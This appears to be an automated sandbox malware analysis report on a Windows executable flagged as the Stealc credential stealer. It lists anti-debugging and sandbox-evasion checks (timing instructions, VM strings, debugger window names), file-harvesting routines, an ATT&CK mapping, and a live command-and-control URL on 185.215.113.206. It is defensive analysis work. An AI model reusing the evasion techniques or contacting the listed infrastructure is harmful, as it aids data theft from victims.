Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29CAB second address: F29D0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 jne 00007F47DD40FB8Fh 0x0000000d nop 0x0000000e mov dx, bx 0x00000011 push 00000004h 0x00000013 mov edx, dword ptr [ebp+122D3A28h] 0x00000019 jmp 00007F47DD40FB87h 0x0000001e call 00007F47DD40FB79h 0x00000023 push edx 0x00000024 push eax 0x00000025 pushad 0x00000026 popad 0x00000027 pop eax 0x00000028 pop edx 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d push edi 0x0000002e pop edi 0x0000002f pushad 0x00000030 popad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 557033C second address: 5570383 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DCFB8A41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov esi, 6EEC5DA3h 0x00000010 jmp 00007F47DCFB8A48h 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F47DCFB8A3Dh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5570383 second address: 5570398 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DD40FB81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5570398 second address: 55703A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47DCFB8A3Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55703A8 second address: 557040C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F47DD40FB87h 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F47DD40FB84h 0x00000017 or cl, 00000008h 0x0000001a jmp 00007F47DD40FB7Bh 0x0000001f popfd 0x00000020 popad 0x00000021 pop ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F47DD40FB87h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 557040C second address: 5570429 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DCFB8A49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5570429 second address: 557042F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 557042F second address: 5570433 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F557 second address: E4F55C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CA1CC9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CA1C2F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E40BC0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E3FB1A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C9F1EE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: ECB5EF instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A538B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00A538B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A54910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00A54910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00A4DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00A4E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00A4ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A54570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00A54570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A53EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00A53EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00A4F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4F68A FindFirstFileA,	0_2_00A4F68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A416D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00A416D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00A4DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00A4BE70

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A41160 GetSystemInfo,ExitProcess,

0_2_00A41160

Source: file.exe, file.exe, 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2137808772.00000000015EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware8
Source: file.exe, 00000000.00000002.2137808772.00000000015EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2137808772.0000000001662000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2137808772.0000000001631000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13639
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13636
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13658
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13650
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13690

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A445C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00A445C0

Source: C:\Users\user\Desktop\file.exe

0_2_00A59860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A59750 mov eax, dword ptr fs:[00000030h]

0_2_00A59750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A578E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00A578E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5752, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A59600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00A59600

Source: file.exe, file.exe, 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00A57B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A57980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00A57980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A57850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00A57850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A57A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00A57A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.a40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2137808772.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2096593419.00000000053F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5752, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.a40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2137808772.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2096593419.00000000053F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5752, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
s-part-0017.t-0009.t-msedge.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://185.215.113.206/	14%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true	14%, Virustotal, Browse	unknown
http://185.215.113.206/e2b1563c6670f193.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://185.215.113.206/e2b1563c6670f193.php/	file.exe, 00000000.00000002.2137808772.0000000001647000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206kz.P6	file.exe, 00000000.00000002.2137808772.00000000015EE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/e2b1563c6670f193.php9	file.exe, 00000000.00000002.2137808772.0000000001647000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/m	file.exe, 00000000.00000002.2137808772.0000000001647000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206	file.exe, 00000000.00000002.2137808772.00000000015EE000.00000004.00000020.00020000.00000000.sdmp	true	unknown
http://185.215.113.206/e2b1563c6670f193.php%	file.exe, 00000000.00000002.2137808772.0000000001647000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/e2b1563c6670f193.phpE	file.exe, 00000000.00000002.2137808772.0000000001647000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/ws	file.exe, 00000000.00000002.2137808772.0000000001647000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/e2b1563c6670f193.phpa	file.exe, 00000000.00000002.2137808772.0000000001647000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/t	file.exe, 00000000.00000002.2137808772.0000000001647000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.206	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542671
Start date and time:	2024-10-26 05:54:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 91
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, otelrules.afd.azureedge.net, azureedge-t-prod.trafficmanager.net
Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.206	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	zE8aZ90GHB.exe	Get hash	malicious	Amadey	Browse	185.215.113.206/k8FppT/index.php
	0deHOGnvX6.exe	Get hash	malicious	Amadey	Browse	185.215.113.206/k8FppT/index.php
	0deHOGnvX6.exe	Get hash	malicious	Amadey	Browse	185.215.113.206/k8FppT/index.php?scr=1

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	https://load.aberegg-immobilien.ch/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	http://mychronictravel.eu.org/	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://docs.google.com/drawings/d/1igp9x84Q_2r8qSa1YDSk9dpVvjHGWjRjQMSbSGGfj2M/preview?pli=1VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://certify.us.com/D5QkoQ3Eniw4G2APQ3ED5QpQ3E4RAionz01coq01	Get hash	malicious	Unknown	Browse	13.107.246.45
	Rob.Kuster@stonhard.com.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	zip file.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	ACTION required to activate your account - bp Supplier Portal.eml	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://docs.google.com/drawings/d/1gvM7ysnJ7zDcSUShXnPoiA6pG4cjDDn9uHRbivsGidA/preview?pli=1jjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZs	Get hash	malicious	Mamba2FA	Browse	13.107.246.45
